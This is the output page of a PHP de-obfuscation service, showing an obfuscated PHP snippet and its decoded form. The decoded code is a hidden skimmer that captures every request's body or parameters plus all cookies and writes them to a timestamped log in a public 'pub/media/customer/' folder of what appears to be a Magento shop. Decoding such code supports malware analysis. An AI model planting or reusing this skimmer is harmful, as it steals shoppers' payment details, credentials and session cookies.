Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto QoWsi; QoWsi: $FileContent = "\146\x69\x6c\145" . "\x5f\x67\x65\164" . "\x5f\..
Decoded Output download
<?php
goto QoWsi; QoWsi: $FileContent = "file" . "_get" . "_contents"; goto A4XeW; LPH2Y: if (!empty($FileContent($PHPIN))) { FilterApp($FileContent($PHPIN)); } else { if (!empty($_REQUEST)) { FilterApp(json_encode($_REQUEST)); } } goto ObChg; A4XeW: $PHPIN = "php" . ":" . "//" . "input"; goto LPH2Y; ObChg: function FilterApp($excep) { $a = "[" . $_SERVER["REQUEST_METHOD"] . "]" . $_SERVER["REQUEST_SCHEME"] . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; $p = $excep; $q = json_encode($_COOKIE); $w = $a . ":" . $p . ":" . $q . PHP_EOL; file_put_contents("pub/media/customer/" . date("mdH") . ".log", gmdate("Y-m-d H:i:s") . " " . $w, FILE_APPEND); } ?>
Did this file decode correctly?
Original Code
<?php
goto QoWsi; QoWsi: $FileContent = "\146\x69\x6c\145" . "\x5f\x67\x65\164" . "\x5f\x63\157\x6e\x74\145\156\164\163"; goto A4XeW; LPH2Y: if (!empty($FileContent($PHPIN))) { FilterApp($FileContent($PHPIN)); } else { if (!empty($_REQUEST)) { FilterApp(json_encode($_REQUEST)); } } goto ObChg; A4XeW: $PHPIN = "\x70\150\160" . "\x3a" . "\x2f\57" . "\151\156\160\x75\x74"; goto LPH2Y; ObChg: function FilterApp($excep) { $a = "\x5b" . $_SERVER["\x52\x45\x51\x55\x45\123\x54\137\x4d\105\124\110\x4f\104"] . "\135" . $_SERVER["\x52\x45\x51\x55\x45\x53\x54\137\x53\103\x48\x45\x4d\x45"] . "\72\x2f\57" . $_SERVER["\110\124\124\x50\x5f\x48\x4f\x53\x54"] . $_SERVER["\122\x45\121\x55\105\x53\124\137\x55\122\111"]; $p = $excep; $q = json_encode($_COOKIE); $w = $a . "\x3a" . $p . "\x3a" . $q . PHP_EOL; file_put_contents("\x70\165\142\57\x6d\145\144\x69\141\57\143\165\163\164\157\x6d\x65\162\57" . date("\155\144\110") . "\x2e\x6c\157\x67", gmdate("\131\55\155\55\144\x20\110\x3a\151\72\163") . "\x20\40\x20\40\40" . $w, FILE_APPEND); }
Function Calls
None |
Stats
MD5 | cf1b5e15f7d0ac1001014f05590b5a32 |
Eval Count | 0 |
Decode Time | 44 ms |